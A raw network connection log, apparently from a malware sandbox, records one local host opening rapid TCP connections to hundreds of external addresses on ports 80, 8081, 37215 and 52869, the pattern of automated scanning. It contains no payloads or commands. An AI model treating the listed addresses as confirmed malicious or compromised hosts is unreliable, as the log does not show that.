Jul 20, 2024 23:01:04.386749029 CEST	43340	80	192.168.2.14	88.142.64.80
Jul 20, 2024 23:01:04.387047052 CEST	53066	52869	192.168.2.14	36.44.157.9
Jul 20, 2024 23:01:04.387712955 CEST	80	44570	88.50.41.153	192.168.2.14
Jul 20, 2024 23:01:04.393593073 CEST	58342	80	192.168.2.14	88.110.162.56
Jul 20, 2024 23:01:04.395478964 CEST	80	57604	88.192.178.48	192.168.2.14
Jul 20, 2024 23:01:04.397330046 CEST	51760	52869	192.168.2.14	2.46.59.12
Jul 20, 2024 23:01:04.398040056 CEST	34924	8081	192.168.2.14	208.165.97.163
Jul 20, 2024 23:01:04.398040056 CEST	45728	80	192.168.2.14	88.201.128.120
Jul 20, 2024 23:01:04.398040056 CEST	47388	37215	192.168.2.14	181.7.138.240
Jul 20, 2024 23:01:04.398040056 CEST	46694	8081	192.168.2.14	32.171.105.186
Jul 20, 2024 23:01:04.399764061 CEST	45600	80	192.168.2.14	88.28.50.53
Jul 20, 2024 23:01:04.399764061 CEST	54890	80	192.168.2.14	88.125.66.213
Jul 20, 2024 23:01:04.399765015 CEST	57976	37215	192.168.2.14	151.173.29.9
Jul 20, 2024 23:01:04.399765015 CEST	60010	8081	192.168.2.14	96.68.58.54
Jul 20, 2024 23:01:04.403419018 CEST	51568	8081	192.168.2.14	53.211.14.190
Jul 20, 2024 23:01:04.404138088 CEST	51512	52869	192.168.2.14	65.29.160.70
Jul 20, 2024 23:01:04.408231020 CEST	37215	49318	41.34.107.16	192.168.2.14
Jul 20, 2024 23:01:04.409857988 CEST	50982	52869	192.168.2.14	108.207.129.253
Jul 20, 2024 23:01:04.409857988 CEST	55460	37215	192.168.2.14	41.167.148.200
Jul 20, 2024 23:01:04.409857988 CEST	46414	37215	192.168.2.14	187.169.124.166
Jul 20, 2024 23:01:04.410283089 CEST	49318	37215	192.168.2.14	41.34.107.16
Jul 20, 2024 23:01:04.411355019 CEST	57080	80	192.168.2.14	88.240.221.53
Jul 20, 2024 23:01:04.411355019 CEST	36028	52869	192.168.2.14	111.86.157.53
Jul 20, 2024 23:01:04.412622929 CEST	8081	56038	59.37.227.67	192.168.2.14
Jul 20, 2024 23:01:04.413559914 CEST	48520	80	192.168.2.14	88.218.13.142
Jul 20, 2024 23:01:04.414722919 CEST	56038	8081	192.168.2.14	59.37.227.67
Jul 20, 2024 23:01:04.419702053 CEST	80	35486	88.192.159.101	192.168.2.14
Jul 20, 2024 23:01:04.419832945 CEST	50544	37215	192.168.2.14	60.162.189.105
Jul 20, 2024 23:01:04.420335054 CEST	44570	80	192.168.2.14	88.50.41.153
Jul 20, 2024 23:01:04.421022892 CEST	80	54320	88.40.37.149	192.168.2.14
Jul 20, 2024 23:01:04.421314955 CEST	57604	80	192.168.2.14	88.192.178.48
Jul 20, 2024 23:01:04.421502113 CEST	38224	52869	192.168.2.14	171.144.139.139
Jul 20, 2024 23:01:04.421758890 CEST	47350	80	192.168.2.14	88.196.237.157
Jul 20, 2024 23:01:04.422163963 CEST	54320	80	192.168.2.14	88.40.37.149
Jul 20, 2024 23:01:04.422163963 CEST	35486	80	192.168.2.14	88.192.159.101
Jul 20, 2024 23:01:04.423055887 CEST	52869	35828	60.154.99.20	192.168.2.14
Jul 20, 2024 23:01:04.423389912 CEST	42636	8081	192.168.2.14	167.27.216.116
Jul 20, 2024 23:01:04.424071074 CEST	48926	37215	192.168.2.14	200.159.126.71
Jul 20, 2024 23:01:04.425643921 CEST	32890	80	192.168.2.14	88.32.127.243
Jul 20, 2024 23:01:04.425818920 CEST	45982	52869	192.168.2.14	40.224.141.14
Jul 20, 2024 23:01:04.426170111 CEST	35828	52869	192.168.2.14	60.154.99.20
Jul 20, 2024 23:01:04.426278114 CEST	41812	8081	192.168.2.14	4.166.161.189
Jul 20, 2024 23:01:04.426769018 CEST	37215	49348	212.240.183.0	192.168.2.14
Jul 20, 2024 23:01:04.427108049 CEST	52869	38224	171.144.139.139	192.168.2.14
Jul 20, 2024 23:01:04.427406073 CEST	38224	52869	192.168.2.14	171.144.139.139
Jul 20, 2024 23:01:04.427469969 CEST	41204	37215	192.168.2.14	197.179.75.211
Jul 20, 2024 23:01:04.427589893 CEST	80	47350	88.196.237.157	192.168.2.14
Jul 20, 2024 23:01:04.427629948 CEST	47350	80	192.168.2.14	88.196.237.157
Jul 20, 2024 23:01:04.428352118 CEST	8081	42636	167.27.216.116	192.168.2.14
Jul 20, 2024 23:01:04.428390026 CEST	42636	8081	192.168.2.14	167.27.216.116
Jul 20, 2024 23:01:04.429474115 CEST	37215	48926	200.159.126.71	192.168.2.14
Jul 20, 2024 23:01:04.429513931 CEST	48926	37215	192.168.2.14	200.159.126.71
Jul 20, 2024 23:01:04.429675102 CEST	46010	80	192.168.2.14	88.6.80.52
Jul 20, 2024 23:01:04.429701090 CEST	45614	37215	192.168.2.14	148.29.0.19
Jul 20, 2024 23:01:04.429896116 CEST	55660	8081	192.168.2.14	79.211.52.71
Jul 20, 2024 23:01:04.430718899 CEST	80	32890	88.32.127.243	192.168.2.14
Jul 20, 2024 23:01:04.430746078 CEST	52869	45982	40.224.141.14	192.168.2.14
Jul 20, 2024 23:01:04.430753946 CEST	32890	80	192.168.2.14	88.32.127.243
Jul 20, 2024 23:01:04.430778027 CEST	45982	52869	192.168.2.14	40.224.141.14
Jul 20, 2024 23:01:04.430793047 CEST	49348	37215	192.168.2.14	212.240.183.0
Jul 20, 2024 23:01:04.431224108 CEST	8081	41812	4.166.161.189	192.168.2.14
Jul 20, 2024 23:01:04.431266069 CEST	41812	8081	192.168.2.14	4.166.161.189
Jul 20, 2024 23:01:04.432233095 CEST	52869	36720	60.68.1.166	192.168.2.14
Jul 20, 2024 23:01:04.432702065 CEST	37215	41204	197.179.75.211	192.168.2.14
Jul 20, 2024 23:01:04.432779074 CEST	41204	37215	192.168.2.14	197.179.75.211
Jul 20, 2024 23:01:04.433607101 CEST	80	50456	88.231.245.80	192.168.2.14
Jul 20, 2024 23:01:04.434211016 CEST	50456	80	192.168.2.14	88.231.245.80
Jul 20, 2024 23:01:04.434211016 CEST	36720	52869	192.168.2.14	60.68.1.166
Jul 20, 2024 23:01:04.434564114 CEST	52350	52869	192.168.2.14	19.130.123.151
Jul 20, 2024 23:01:04.434724092 CEST	37215	45614	148.29.0.19	192.168.2.14
Jul 20, 2024 23:01:04.435123920 CEST	80	46010	88.6.80.52	192.168.2.14
Jul 20, 2024 23:01:04.435211897 CEST	8081	55660	79.211.52.71	192.168.2.14
Jul 20, 2024 23:01:04.436944008 CEST	45614	37215	192.168.2.14	148.29.0.19
Jul 20, 2024 23:01:04.437733889 CEST	55660	8081	192.168.2.14	79.211.52.71
Jul 20, 2024 23:01:04.438406944 CEST	46010	80	192.168.2.14	88.6.80.52
Jul 20, 2024 23:01:04.442502975 CEST	52869	52350	19.130.123.151	192.168.2.14
Jul 20, 2024 23:01:04.442657948 CEST	8081	35448	45.157.196.111	192.168.2.14
Jul 20, 2024 23:01:04.442864895 CEST	52350	52869	192.168.2.14	19.130.123.151
Jul 20, 2024 23:01:04.445228100 CEST	52869	36614	58.141.211.31	192.168.2.14
Jul 20, 2024 23:01:04.446177959 CEST	35448	8081	192.168.2.14	45.157.196.111
Jul 20, 2024 23:01:04.446197033 CEST	36614	52869	192.168.2.14	58.141.211.31
Jul 20, 2024 23:01:04.446541071 CEST	38540	8081	192.168.2.14	211.156.106.255
Jul 20, 2024 23:01:04.446733952 CEST	44188	80	192.168.2.14	88.147.141.135
Jul 20, 2024 23:01:04.446953058 CEST	51778	37215	192.168.2.14	197.252.184.130
Jul 20, 2024 23:01:04.448678017 CEST	52869	40486	117.199.176.147	192.168.2.14
Jul 20, 2024 23:01:04.450347900 CEST	37215	43838	157.98.176.2	192.168.2.14
Jul 20, 2024 23:01:04.450494051 CEST	40486	52869	192.168.2.14	117.199.176.147
Jul 20, 2024 23:01:04.454483032 CEST	52869	58016	174.117.157.2	192.168.2.14
Jul 20, 2024 23:01:04.457037926 CEST	37215	54410	197.1.252.213	192.168.2.14
Jul 20, 2024 23:01:04.457046986 CEST	8081	38540	211.156.106.255	192.168.2.14
Jul 20, 2024 23:01:04.457055092 CEST	80	44188	88.147.141.135	192.168.2.14
Jul 20, 2024 23:01:04.457063913 CEST	37215	51778	197.252.184.130	192.168.2.14
Jul 20, 2024 23:01:04.460958004 CEST	80	46316	88.138.103.241	192.168.2.14
Jul 20, 2024 23:01:04.460967064 CEST	8081	35734	138.222.149.56	192.168.2.14
Jul 20, 2024 23:01:04.466790915 CEST	44188	80	192.168.2.14	88.147.141.135
Jul 20, 2024 23:01:04.466790915 CEST	51778	37215	192.168.2.14	197.252.184.130
Jul 20, 2024 23:01:04.466886044 CEST	37215	46630	41.107.164.92	192.168.2.14
Jul 20, 2024 23:01:04.468152046 CEST	43838	37215	192.168.2.14	157.98.176.2
Jul 20, 2024 23:01:04.473069906 CEST	80	37900	88.41.193.251	192.168.2.14
Jul 20, 2024 23:01:04.474493027 CEST	52869	46610	72.222.174.251	192.168.2.14
Jul 20, 2024 23:01:04.475645065 CEST	8081	37042	114.57.162.85	192.168.2.14
Jul 20, 2024 23:01:04.478490114 CEST	37215	49794	157.37.64.90	192.168.2.14
Jul 20, 2024 23:01:04.480468988 CEST	8081	51680	73.23.234.220	192.168.2.14
Jul 20, 2024 23:01:04.482939959 CEST	37900	80	192.168.2.14	88.41.193.251
Jul 20, 2024 23:01:04.482939959 CEST	37042	8081	192.168.2.14	114.57.162.85
Jul 20, 2024 23:01:04.482939959 CEST	46610	52869	192.168.2.14	72.222.174.251
Jul 20, 2024 23:01:04.487776995 CEST	52869	53066	36.44.157.9	192.168.2.14
Jul 20, 2024 23:01:04.487951994 CEST	58016	52869	192.168.2.14	174.117.157.2
Jul 20, 2024 23:01:04.493609905 CEST	53066	52869	192.168.2.14	36.44.157.9
Jul 20, 2024 23:01:04.496853113 CEST	51680	8081	192.168.2.14	73.23.234.220
Jul 20, 2024 23:01:04.496853113 CEST	49794	37215	192.168.2.14	157.37.64.90
Jul 20, 2024 23:01:04.497975111 CEST	54410	37215	192.168.2.14	197.1.252.213
Jul 20, 2024 23:01:04.500024080 CEST	52869	38224	171.144.139.139	192.168.2.14
Jul 20, 2024 23:01:04.501508951 CEST	80	47350	88.196.237.157	192.168.2.14
Jul 20, 2024 23:01:04.502664089 CEST	8081	42636	167.27.216.116	192.168.2.14
Jul 20, 2024 23:01:04.506040096 CEST	8081	55910	62.17.178.212	192.168.2.14
Jul 20, 2024 23:01:04.506728888 CEST	37215	48926	200.159.126.71	192.168.2.14
Jul 20, 2024 23:01:04.509711981 CEST	80	32890	88.32.127.243	192.168.2.14
Jul 20, 2024 23:01:04.509901047 CEST	8081	41812	4.166.161.189	192.168.2.14
Jul 20, 2024 23:01:04.513160944 CEST	52869	45982	40.224.141.14	192.168.2.14
Jul 20, 2024 23:01:04.513655901 CEST	47350	80	192.168.2.14	88.196.237.157
Jul 20, 2024 23:01:04.514218092 CEST	37215	41204	197.179.75.211	192.168.2.14
Jul 20, 2024 23:01:04.516890049 CEST	37215	45614	148.29.0.19	192.168.2.14
Jul 20, 2024 23:01:04.518063068 CEST	80	46010	88.6.80.52	192.168.2.14
Jul 20, 2024 23:01:04.518948078 CEST	55910	8081	192.168.2.14	62.17.178.212
Jul 20, 2024 23:01:04.518948078 CEST	42636	8081	192.168.2.14	167.27.216.116
Jul 20, 2024 23:01:04.519385099 CEST	8081	55660	79.211.52.71	192.168.2.14
Jul 20, 2024 23:01:04.520503998 CEST	52869	52350	19.130.123.151	192.168.2.14
Jul 20, 2024 23:01:04.520785093 CEST	45982	52869	192.168.2.14	40.224.141.14
Jul 20, 2024 23:01:04.523323059 CEST	32890	80	192.168.2.14	88.32.127.243
Jul 20, 2024 23:01:04.523478031 CEST	80	44188	88.147.141.135	192.168.2.14
Jul 20, 2024 23:01:04.523488045 CEST	37215	51778	197.252.184.130	192.168.2.14
Jul 20, 2024 23:01:04.524087906 CEST	46630	37215	192.168.2.14	41.107.164.92
Jul 20, 2024 23:01:04.527437925 CEST	38540	8081	192.168.2.14	211.156.106.255
Jul 20, 2024 23:01:04.527439117 CEST	35734	8081	192.168.2.14	138.222.149.56
Jul 20, 2024 23:01:04.527439117 CEST	46316	80	192.168.2.14	88.138.103.241
Jul 20, 2024 23:01:04.535757065 CEST	8081	38540	211.156.106.255	192.168.2.14
Jul 20, 2024 23:01:04.538355112 CEST	51778	37215	192.168.2.14	197.252.184.130
Jul 20, 2024 23:01:04.538355112 CEST	44188	80	192.168.2.14	88.147.141.135
Jul 20, 2024 23:01:04.538497925 CEST	48926	37215	192.168.2.14	200.159.126.71
Jul 20, 2024 23:01:04.541799068 CEST	8081	52318	106.66.73.10	192.168.2.14
Jul 20, 2024 23:01:04.543627977 CEST	45614	37215	192.168.2.14	148.29.0.19
Jul 20, 2024 23:01:04.547966003 CEST	55660	8081	192.168.2.14	79.211.52.71
Jul 20, 2024 23:01:04.556870937 CEST	52318	8081	192.168.2.14	106.66.73.10
Jul 20, 2024 23:01:04.559993029 CEST	37894	80	192.168.2.14	88.173.154.148
Jul 20, 2024 23:01:04.560692072 CEST	40966	37215	192.168.2.14	98.20.71.159
Jul 20, 2024 23:01:04.561342955 CEST	37215	43030	41.177.182.89	192.168.2.14
Jul 20, 2024 23:01:04.561352015 CEST	52869	48978	5.108.28.159	192.168.2.14
Jul 20, 2024 23:01:04.561357021 CEST	80	43036	88.198.58.132	192.168.2.14
Jul 20, 2024 23:01:04.561409950 CEST	37215	35360	41.116.147.110	192.168.2.14
Jul 20, 2024 23:01:04.561419010 CEST	52869	33458	14.68.225.116	192.168.2.14
Jul 20, 2024 23:01:04.562393904 CEST	41826	8081	192.168.2.14	68.170.190.104
Jul 20, 2024 23:01:04.566287994 CEST	80	37894	88.173.154.148	192.168.2.14
Jul 20, 2024 23:01:04.566622019 CEST	43030	37215	192.168.2.14	41.177.182.89
Jul 20, 2024 23:01:04.566622019 CEST	43036	80	192.168.2.14	88.198.58.132
Jul 20, 2024 23:01:04.566622019 CEST	35360	37215	192.168.2.14	41.116.147.110
Jul 20, 2024 23:01:04.566622019 CEST	48978	52869	192.168.2.14	5.108.28.159
Jul 20, 2024 23:01:04.567118883 CEST	37215	40966	98.20.71.159	192.168.2.14
Jul 20, 2024 23:01:04.567854881 CEST	38224	52869	192.168.2.14	171.144.139.139
Jul 20, 2024 23:01:04.567854881 CEST	41204	37215	192.168.2.14	197.179.75.211
Jul 20, 2024 23:01:04.567854881 CEST	52350	52869	192.168.2.14	19.130.123.151
Jul 20, 2024 23:01:04.568803072 CEST	41812	8081	192.168.2.14	4.166.161.189
Jul 20, 2024 23:01:04.568804026 CEST	46010	80	192.168.2.14	88.6.80.52
Jul 20, 2024 23:01:04.570764065 CEST	33458	52869	192.168.2.14	14.68.225.116
Jul 20, 2024 23:01:04.572285891 CEST	38540	8081	192.168.2.14	211.156.106.255
Jul 20, 2024 23:01:04.574366093 CEST	52869	57570	85.70.210.244	192.168.2.14
Jul 20, 2024 23:01:04.574392080 CEST	52869	47368	64.61.21.55	192.168.2.14
Jul 20, 2024 23:01:04.574446917 CEST	8081	49086	176.44.102.100	192.168.2.14
Jul 20, 2024 23:01:04.574537039 CEST	8081	41826	68.170.190.104	192.168.2.14
Jul 20, 2024 23:01:04.576417923 CEST	37894	80	192.168.2.14	88.173.154.148
Jul 20, 2024 23:01:04.576417923 CEST	40966	37215	192.168.2.14	98.20.71.159
Jul 20, 2024 23:01:04.578109980 CEST	53784	52869	192.168.2.14	168.236.58.106
Jul 20, 2024 23:01:04.578237057 CEST	47368	52869	192.168.2.14	64.61.21.55
Jul 20, 2024 23:01:04.579523087 CEST	59896	8081	192.168.2.14	135.170.252.96
Jul 20, 2024 23:01:04.581899881 CEST	49086	8081	192.168.2.14	176.44.102.100
Jul 20, 2024 23:01:04.583451033 CEST	52869	53784	168.236.58.106	192.168.2.14
Jul 20, 2024 23:01:04.583498955 CEST	53784	52869	192.168.2.14	168.236.58.106
Jul 20, 2024 23:01:04.585781097 CEST	80	37894	88.173.154.148	192.168.2.14
Jul 20, 2024 23:01:04.586973906 CEST	37215	40966	98.20.71.159	192.168.2.14
Jul 20, 2024 23:01:04.586983919 CEST	8081	59896	135.170.252.96	192.168.2.14
Jul 20, 2024 23:01:04.587021112 CEST	59896	8081	192.168.2.14	135.170.252.96
Jul 20, 2024 23:01:04.588809013 CEST	37894	80	192.168.2.14	88.173.154.148
Jul 20, 2024 23:01:04.590506077 CEST	40966	37215	192.168.2.14	98.20.71.159
Jul 20, 2024 23:01:04.591057062 CEST	39612	80	192.168.2.14	88.197.62.246
Jul 20, 2024 23:01:04.591779947 CEST	52869	53784	168.236.58.106	192.168.2.14
Jul 20, 2024 23:01:04.592706919 CEST	41826	8081	192.168.2.14	68.170.190.104
Jul 20, 2024 23:01:04.593585014 CEST	48578	52869	192.168.2.14	209.87.192.88
Jul 20, 2024 23:01:04.594170094 CEST	53784	52869	192.168.2.14	168.236.58.106
Jul 20, 2024 23:01:04.594734907 CEST	57570	52869	192.168.2.14	85.70.210.244
Jul 20, 2024 23:01:04.595911026 CEST	54114	8081	192.168.2.14	59.81.177.131
Jul 20, 2024 23:01:04.595912933 CEST	55190	37215	192.168.2.14	41.43.224.222
Jul 20, 2024 23:01:04.595912933 CEST	38544	80	192.168.2.14	88.191.93.155
Jul 20, 2024 23:01:04.595932007 CEST	8081	59896	135.170.252.96	192.168.2.14
Jul 20, 2024 23:01:04.595942020 CEST	80	39612	88.197.62.246	192.168.2.14
Jul 20, 2024 23:01:04.596462011 CEST	39612	80	192.168.2.14	88.197.62.246
Jul 20, 2024 23:01:04.598169088 CEST	59896	8081	192.168.2.14	135.170.252.96
Jul 20, 2024 23:01:04.598474026 CEST	52869	48578	209.87.192.88	192.168.2.14
Jul 20, 2024 23:01:04.599466085 CEST	48578	52869	192.168.2.14	209.87.192.88
Jul 20, 2024 23:01:04.600090981 CEST	57084	37215	192.168.2.14	197.82.199.168
Jul 20, 2024 23:01:04.600215912 CEST	59842	8081	192.168.2.14	93.39.240.161
Jul 20, 2024 23:01:04.600392103 CEST	60124	52869	192.168.2.14	179.90.129.47
Jul 20, 2024 23:01:04.602296114 CEST	37215	55190	41.43.224.222	192.168.2.14
Jul 20, 2024 23:01:04.603454113 CEST	8081	54114	59.81.177.131	192.168.2.14
Jul 20, 2024 23:01:04.603463888 CEST	8081	41826	68.170.190.104	192.168.2.14
Jul 20, 2024 23:01:04.603507042 CEST	55190	37215	192.168.2.14	41.43.224.222
Jul 20, 2024 23:01:04.603507042 CEST	52004	80	192.168.2.14	88.60.36.72
Jul 20, 2024 23:01:04.603825092 CEST	80	38544	88.191.93.155	192.168.2.14
Jul 20, 2024 23:01:04.604039907 CEST	38544	80	192.168.2.14	88.191.93.155
Jul 20, 2024 23:01:04.604123116 CEST	54114	8081	192.168.2.14	59.81.177.131
Jul 20, 2024 23:01:04.605534077 CEST	37215	34710	133.78.34.31	192.168.2.14
Jul 20, 2024 23:01:04.605899096 CEST	80	39612	88.197.62.246	192.168.2.14
Jul 20, 2024 23:01:04.606159925 CEST	39612	80	192.168.2.14	88.197.62.246
Jul 20, 2024 23:01:04.606184006 CEST	34710	37215	192.168.2.14	133.78.34.31
Jul 20, 2024 23:01:04.606184959 CEST	41826	8081	192.168.2.14	68.170.190.104
Jul 20, 2024 23:01:04.606244087 CEST	37215	57084	197.82.199.168	192.168.2.14
Jul 20, 2024 23:01:04.606287003 CEST	8081	59842	93.39.240.161	192.168.2.14
Jul 20, 2024 23:01:04.606313944 CEST	52869	60124	179.90.129.47	192.168.2.14
Jul 20, 2024 23:01:04.606323004 CEST	57084	37215	192.168.2.14	197.82.199.168
Jul 20, 2024 23:01:04.606355906 CEST	60124	52869	192.168.2.14	179.90.129.47
Jul 20, 2024 23:01:04.606864929 CEST	41186	37215	192.168.2.14	166.80.241.91
Jul 20, 2024 23:01:04.607088089 CEST	53672	8081	192.168.2.14	31.87.180.185
Jul 20, 2024 23:01:04.607502937 CEST	38538	52869	192.168.2.14	147.24.204.167
Jul 20, 2024 23:01:04.607719898 CEST	59842	8081	192.168.2.14	93.39.240.161
Jul 20, 2024 23:01:04.608532906 CEST	52869	48578	209.87.192.88	192.168.2.14
Jul 20, 2024 23:01:04.608927965 CEST	80	52004	88.60.36.72	192.168.2.14
Jul 20, 2024 23:01:04.609112978 CEST	53350	80	192.168.2.14	88.41.74.88
Jul 20, 2024 23:01:04.609112978 CEST	52004	80	192.168.2.14	88.60.36.72
Jul 20, 2024 23:01:04.612032890 CEST	37215	41186	166.80.241.91	192.168.2.14
Jul 20, 2024 23:01:04.612166882 CEST	8081	53672	31.87.180.185	192.168.2.14
Jul 20, 2024 23:01:04.612994909 CEST	52869	38538	147.24.204.167	192.168.2.14
Jul 20, 2024 23:01:04.614984035 CEST	80	53350	88.41.74.88	192.168.2.14
Jul 20, 2024 23:01:04.615546942 CEST	38538	52869	192.168.2.14	147.24.204.167
Jul 20, 2024 23:01:04.615546942 CEST	53350	80	192.168.2.14	88.41.74.88
Jul 20, 2024 23:01:04.616525888 CEST	37215	55190	41.43.224.222	192.168.2.14
Jul 20, 2024 23:01:04.617110968 CEST	80	38544	88.191.93.155	192.168.2.14
Jul 20, 2024 23:01:04.617130041 CEST	8081	54114	59.81.177.131	192.168.2.14
Jul 20, 2024 23:01:04.618171930 CEST	38544	80	192.168.2.14	88.191.93.155
Jul 20, 2024 23:01:04.618233919 CEST	55190	37215	192.168.2.14	41.43.224.222
Jul 20, 2024 23:01:04.618908882 CEST	54114	8081	192.168.2.14	59.81.177.131
Jul 20, 2024 23:01:04.619858027 CEST	48578	52869	192.168.2.14	209.87.192.88
Jul 20, 2024 23:01:04.620780945 CEST	52869	60124	179.90.129.47	192.168.2.14
Jul 20, 2024 23:01:04.620856047 CEST	41186	37215	192.168.2.14	166.80.241.91
Jul 20, 2024 23:01:04.621319056 CEST	53672	8081	192.168.2.14	31.87.180.185
Jul 20, 2024 23:01:04.621319056 CEST	52464	8081	192.168.2.14	206.55.198.219
Jul 20, 2024 23:01:04.621397972 CEST	55584	52869	192.168.2.14	72.146.47.133
Jul 20, 2024 23:01:04.621634007 CEST	33400	37215	192.168.2.14	157.176.236.80
Jul 20, 2024 23:01:04.622379065 CEST	37215	57084	197.82.199.168	192.168.2.14
Jul 20, 2024 23:01:04.622778893 CEST	8081	59842	93.39.240.161	192.168.2.14
Jul 20, 2024 23:01:04.623516083 CEST	60124	52869	192.168.2.14	179.90.129.47
Jul 20, 2024 23:01:04.623718977 CEST	52468	80	192.168.2.14	88.124.204.196
Jul 20, 2024 23:01:04.625344038 CEST	59690	52869	192.168.2.14	97.182.119.204
Jul 20, 2024 23:01:04.625469923 CEST	34322	8081	192.168.2.14	77.195.15.125
Jul 20, 2024 23:01:04.626451015 CEST	59842	8081	192.168.2.14	93.39.240.161
Jul 20, 2024 23:01:04.626451015 CEST	57084	37215	192.168.2.14	197.82.199.168
Jul 20, 2024 23:01:04.626650095 CEST	37374	37215	192.168.2.14	197.57.156.185
Jul 20, 2024 23:01:04.626961946 CEST	80	52004	88.60.36.72	192.168.2.14
Jul 20, 2024 23:01:04.627224922 CEST	53742	80	192.168.2.14	88.155.76.113
Jul 20, 2024 23:01:04.627259970 CEST	52869	38538	147.24.204.167	192.168.2.14
Jul 20, 2024 23:01:04.627269030 CEST	52869	55584	72.146.47.133	192.168.2.14
Jul 20, 2024 23:01:04.627278090 CEST	37215	33400	157.176.236.80	192.168.2.14
Jul 20, 2024 23:01:04.627351046 CEST	55584	52869	192.168.2.14	72.146.47.133
Jul 20, 2024 23:01:04.627351046 CEST	33400	37215	192.168.2.14	157.176.236.80
Jul 20, 2024 23:01:04.627515078 CEST	80	53350	88.41.74.88	192.168.2.14
Jul 20, 2024 23:01:04.629441977 CEST	8081	52464	206.55.198.219	192.168.2.14
Jul 20, 2024 23:01:04.629460096 CEST	80	52468	88.124.204.196	192.168.2.14
Jul 20, 2024 23:01:04.629475117 CEST	52464	8081	192.168.2.14	206.55.198.219
Jul 20, 2024 23:01:04.629534960 CEST	53958	8081	192.168.2.14	168.84.36.47
Jul 20, 2024 23:01:04.629537106 CEST	52468	80	192.168.2.14	88.124.204.196
Jul 20, 2024 23:01:04.629750013 CEST	57574	52869	192.168.2.14	222.151.202.253
Jul 20, 2024 23:01:04.630165100 CEST	52004	80	192.168.2.14	88.60.36.72
Jul 20, 2024 23:01:04.630300045 CEST	52869	59690	97.182.119.204	192.168.2.14
Jul 20, 2024 23:01:04.630336046 CEST	53350	80	192.168.2.14	88.41.74.88
Jul 20, 2024 23:01:04.630336046 CEST	38538	52869	192.168.2.14	147.24.204.167
Jul 20, 2024 23:01:04.630340099 CEST	59690	52869	192.168.2.14	97.182.119.204
Jul 20, 2024 23:01:04.631020069 CEST	8081	34322	77.195.15.125	192.168.2.14
Jul 20, 2024 23:01:04.631118059 CEST	34322	8081	192.168.2.14	77.195.15.125
Jul 20, 2024 23:01:04.631778002 CEST	37215	37374	197.57.156.185	192.168.2.14
Jul 20, 2024 23:01:04.632194996 CEST	37374	37215	192.168.2.14	197.57.156.185
Jul 20, 2024 23:01:04.632250071 CEST	80	53742	88.155.76.113	192.168.2.14
Jul 20, 2024 23:01:04.632293940 CEST	53742	80	192.168.2.14	88.155.76.113
Jul 20, 2024 23:01:04.632986069 CEST	53528	37215	192.168.2.14	197.38.231.171
Jul 20, 2024 23:01:04.633305073 CEST	37215	41186	166.80.241.91	192.168.2.14
Jul 20, 2024 23:01:04.634164095 CEST	41186	37215	192.168.2.14	166.80.241.91
Jul 20, 2024 23:01:04.634881020 CEST	8081	53958	168.84.36.47	192.168.2.14
Jul 20, 2024 23:01:04.634915113 CEST	53958	8081	192.168.2.14	168.84.36.47
Jul 20, 2024 23:01:04.634918928 CEST	52869	57574	222.151.202.253	192.168.2.14
Jul 20, 2024 23:01:04.634958029 CEST	57574	52869	192.168.2.14	222.151.202.253
Jul 20, 2024 23:01:04.635785103 CEST	43886	80	192.168.2.14	88.155.140.166
Jul 20, 2024 23:01:04.636070967 CEST	43714	52869	192.168.2.14	51.249.121.241
Jul 20, 2024 23:01:04.638550997 CEST	45428	8081	192.168.2.14	196.239.25.39
Jul 20, 2024 23:01:04.638892889 CEST	42132	37215	192.168.2.14	171.186.170.148
Jul 20, 2024 23:01:04.638972998 CEST	37215	53528	197.38.231.171	192.168.2.14
Jul 20, 2024 23:01:04.639345884 CEST	53528	37215	192.168.2.14	197.38.231.171
Jul 20, 2024 23:01:04.641702890 CEST	55364	8081	192.168.2.14	87.196.173.71
Jul 20, 2024 23:01:04.641721010 CEST	80	43886	88.155.140.166	192.168.2.14
Jul 20, 2024 23:01:04.641731977 CEST	52869	43714	51.249.121.241	192.168.2.14
Jul 20, 2024 23:01:04.641768932 CEST	43886	80	192.168.2.14	88.155.140.166
Jul 20, 2024 23:01:04.641779900 CEST	43714	52869	192.168.2.14	51.249.121.241
Jul 20, 2024 23:01:04.642118931 CEST	55368	52869	192.168.2.14	90.146.163.93
Jul 20, 2024 23:01:04.642227888 CEST	55254	80	192.168.2.14	88.152.137.252
Jul 20, 2024 23:01:04.643455029 CEST	52869	55584	72.146.47.133	192.168.2.14
Jul 20, 2024 23:01:04.643788099 CEST	8081	45428	196.239.25.39	192.168.2.14
Jul 20, 2024 23:01:04.644030094 CEST	37215	33400	157.176.236.80	192.168.2.14
Jul 20, 2024 23:01:04.644514084 CEST	37215	42132	171.186.170.148	192.168.2.14
Jul 20, 2024 23:01:04.645534992 CEST	8081	52464	206.55.198.219	192.168.2.14
Jul 20, 2024 23:01:04.645767927 CEST	80	52468	88.124.204.196	192.168.2.14
Jul 20, 2024 23:01:04.646209002 CEST	45428	8081	192.168.2.14	196.239.25.39
Jul 20, 2024 23:01:04.646239996 CEST	52869	59690	97.182.119.204	192.168.2.14
Jul 20, 2024 23:01:04.648991108 CEST	8081	55364	87.196.173.71	192.168.2.14
Jul 20, 2024 23:01:04.649008989 CEST	8081	34322	77.195.15.125	192.168.2.14
Jul 20, 2024 23:01:04.649188042 CEST	52869	55368	90.146.163.93	192.168.2.14
Jul 20, 2024 23:01:04.649238110 CEST	80	55254	88.152.137.252	192.168.2.14
Jul 20, 2024 23:01:04.649929047 CEST	37215	37374	197.57.156.185	192.168.2.14
Jul 20, 2024 23:01:04.657977104 CEST	80	53742	88.155.76.113	192.168.2.14
Jul 20, 2024 23:01:04.658575058 CEST	8081	53958	168.84.36.47	192.168.2.14
Jul 20, 2024 23:01:04.658584118 CEST	52869	57574	222.151.202.253	192.168.2.14
Jul 20, 2024 23:01:04.666709900 CEST	37215	39342	122.197.102.121	192.168.2.14
Jul 20, 2024 23:01:04.669080019 CEST	42132	37215	192.168.2.14	171.186.170.148
Jul 20, 2024 23:01:04.676266909 CEST	55364	8081	192.168.2.14	87.196.173.71
Jul 20, 2024 23:01:04.676266909 CEST	37374	37215	192.168.2.14	197.57.156.185
Jul 20, 2024 23:01:04.681144953 CEST	55368	52869	192.168.2.14	90.146.163.93
Jul 20, 2024 23:01:04.683327913 CEST	33400	37215	192.168.2.14	157.176.236.80
Jul 20, 2024 23:01:04.683327913 CEST	55584	52869	192.168.2.14	72.146.47.133
Jul 20, 2024 23:01:04.683398962 CEST	37215	53528	197.38.231.171	192.168.2.14
Jul 20, 2024 23:01:04.684706926 CEST	80	43886	88.155.140.166	192.168.2.14
Jul 20, 2024 23:01:04.685853958 CEST	59690	52869	192.168.2.14	97.182.119.204
Jul 20, 2024 23:01:04.687603951 CEST	52869	43714	51.249.121.241	192.168.2.14
